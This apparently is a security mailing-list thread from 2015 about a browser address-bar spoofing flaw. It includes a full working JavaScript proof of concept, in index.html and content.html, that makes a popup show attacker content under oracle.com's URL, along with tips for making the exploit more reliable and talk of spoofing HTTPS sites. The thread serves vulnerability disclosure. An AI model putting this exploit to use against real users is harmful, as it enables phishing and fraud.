Yes this is a pretty good find. I can also confirm it works on iOS 8.3 (12F69) with Safari.

That's pretty neat. Played around with this and made a few discoveries.

1. It shows a valid certificate when you spoof HTTPS sites. That's really bad. POC/screenshot: 
https://github.com/musalbas/address-spoofing-poc

2. The page isn't responsive when using this flaw. That means you can't spoof a login box for example. (I tried.)

3. The success of the exploit seems to depend on if the browser can start loading content.html fast enough. I noticed 
that the exploit works 100% of the time when used locally. Perhaps a better version of the exploit would somehow 
preload content.html - for example by opening a window with an URL that starts with javascript: followed by a script 
to display the content? That, or perhaps reducing the interval time for trying to run next() after the popup is 
created.

I wonder if this works on any other browsers?

Impact: 
The "click to verify" thing is completely broken... 
Anyone can be "BBB Accredited Business" etc. 
You can make whitehouse.gov display "We love Islamic State" :-) 

Note: 
No user interaction on the fake page. 

Code: 
***** index.html 
<script> 
function next() 
{ 
w.location.replace('http://www.oracle.com/index.html?'+n);n++; 
setTimeout("next();",15); 
setTimeout("next();",25); 
} 
function f() 
{ 
w=window.open("content.html","_blank","width=500 height=500"); 
i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5); 
} 
</script> 
<a href="#" onclick="f()">Go</a><br> 
***** content.html 
<b>This web page is NOT oracle.com</b> 
<script>location="http://www.oracle.com/index.html";;</script> 
***** It's online

(The page says "June/16/2015" - it works as we tested today) 

Request For Comment: 
We reported this to Google. 
They reproduced, and say 
It's DoS which doesn't matter. 
We think it's very strange, 
since the browser does not crash(not DoS), 
and the threat is obvious. 
What's your opinion? 

Kind Regards,
